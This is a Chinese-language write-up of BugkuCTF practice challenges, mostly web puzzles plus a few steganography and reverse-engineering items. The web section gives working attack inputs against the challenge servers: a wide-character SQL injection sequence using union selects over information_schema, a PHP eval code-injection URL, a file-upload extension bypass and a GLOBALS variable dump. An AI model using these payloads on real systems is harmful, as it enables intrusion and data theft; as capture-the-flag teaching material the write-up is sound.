bugkuctf writeup


web題

1.簽到題

第一道題加群,群公告里面有個flag

2.web2

打開網頁之后是一大群滑稽,聰明的人都能找到答案,毫無疑問,應該是一道水題,果斷ctrl+u查看源代碼,發現flag是明文

3.文件上傳

上傳一個php文件,被攔截;上傳一個圖片文件,提示不是php文件,使用burpsuite,上傳一個圖片文件.png,被burp攔截下來之后,發送到repeater里面,修改文件后綴.png.php,response里面得到flag

4.計算題

題目出現了一個很簡單的驗證碼,只要輸入正確就可以獲得flag,但是嘗試后發現題目的輸入框只能輸入一個數字,果斷審查元素,發現了輸入框的最大長度被設置成了1,於是修改輸入框的maxlength屬性為5
輸入結果就可以了

5.web3

打開網頁之后瘋狂彈窗,按住回車,稍等片刻之后,查看源代碼,發現這個

發現一長串奇奇怪怪的字符,猜測應該是ascii碼,加密,所以理論上來說應該編寫腳本,但是水平不太夠,實際上就是懶得編,所以說手動對表得到flag

6.sql注入

http://103.238.227.13:10083/?id=1 使用了'、'and 1=2',我擦我以為是盲注太刺激了。。。。。后來打開源碼看了下gbk編碼,考慮寬字符注入構造payloadhttp://103.238.227.13:10083/?id=1%df',成功了,就是寬字符注入。
http://103.238.227.13:10083/?id=1%df' order by 2 一共有兩列
http://103.238.227.13:10083/?id=1%df' union select 1,2--+
http://103.238.227.13:10083/?id=1%df' union select 1,database()--+ 數據庫是sql5
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key--+ 題目要求查詢string字段 查詢key表
ps:如果直接查詢key表的話key既是表名又是字段名,具體的原因可以這樣看
payload:http://103.238.227.13:10083/?id=1%df' union select 1,string from key--+
http://103.238.227.13:10083/?id=1%df' union select 1,table_name from information_schema.tables--+ 表名中有個key
http://103.238.227.13:10083/?id=1%df' union select 1,column_name from information_schema.columns--+ 字段名中有個key

7.sql注入1

題目的過濾可以在關鍵詞中加入<>繞過

你必須讓他停下來

這個題目打開網頁之后,網頁會不斷的刷新,所以用burpsuite抓包讓他停下來,應該會出現flag

耐心抓,每次刷新都不一樣,終有一次會出來flag的,

本地包含

eval存在執行漏洞,使用hello構造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3

變量一

題目提示flag在變量里面,我們就要把所有的變量值都打印出來。看到題目使用了preg_match,使用正則匹配,變量名只能是字母或者數字的組合,最后輸出$$args,把$args的內容當做變量來處理,所以構造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS 得到flag

web4

提示查看源文件,查看源文件發現兩個變量的內容是url編碼,下面的eval里面使用了unescape函數解碼,所以直接使用url解碼,得到的字符串手動拼接就可以了

function checkSubmit()
{
  var a=document.getElementById("password");
  if("undefined"!=typeof a)
  {
    if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
  return!0;
  alert("Error");
  a.focus();
  return!1
}
  document.getElementById("levelQuest").onsubmit=checkSubmit;```
所以在輸入框中輸入上面67d709b2b54aa2aa648cf6e87a7114f1,得到flag   
## web5
查看源代碼,發現一長串,google/baidu得到這是jsfuck,在chrome里面運行jsfuck的腳本,立刻得到源代碼
![](http://or4d8nhvk.bkt.clouddn.com/17-6-7/54118776.jpg)
## 變量一
題目提示flag在變量里面,我們就要把所有的變量值都打印出來。看到題目使用了preg_match,使用正則匹配,變量名只能是字母或者數字的組合,最后輸出$$args,把$args的內容當做變量來處理,所以構造payload   
`http://120.24.86.145:8004/index1.php?args=GLOBALS`  得到flag  

# misc
## 這只是一張單純的圖片?
![](http://120.24.86.145:8002/misc/1.jpg),使用二進制查看圖片,發現圖片結尾不對勁,有兩個等於號,益達告訴我是base64加密,於是去晚上解密base64,果真得到了flag
## 隱寫2
下載之后是一張圖片,binwalk分寫了一下,果然是一張圖,沒啥特別的。。。。。。。。。   
![圖片損傷,無法顯示很正常](http://or4d8nhvk.bkt.clouddn.com/17-6-8/3662184.jpg)
![](http://or4d8nhvk.bkt.clouddn.com/17-6-8/66948591.jpg)
winhex打開,修改第二行第7列,由A4改為F4,就可以看到flag了。
![](http://or4d8nhvk.bkt.clouddn.com/17-6-8/7110329.jpg)
##  又一張圖片,還單純嗎?
![](http://or4d8nhvk.bkt.clouddn.com/17-6-8/6787699.jpg)
binwalk 跑一跑,發現里面應該還有一張圖片,所以用dd命令分離開,得到flag。
![](http://or4d8nhvk.bkt.clouddn.com/17-6-8/79527753.jpg)
![](http://or4d8nhvk.bkt.clouddn.com/17-6-8/18794934.jpg)
ocr識別就可以得到flag(出題人打錯了...),或者手動輸入

## reverse
## easy_vb
下載文件之后,直接拖到IDA之中,查看注釋之中就有flag,不多說了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM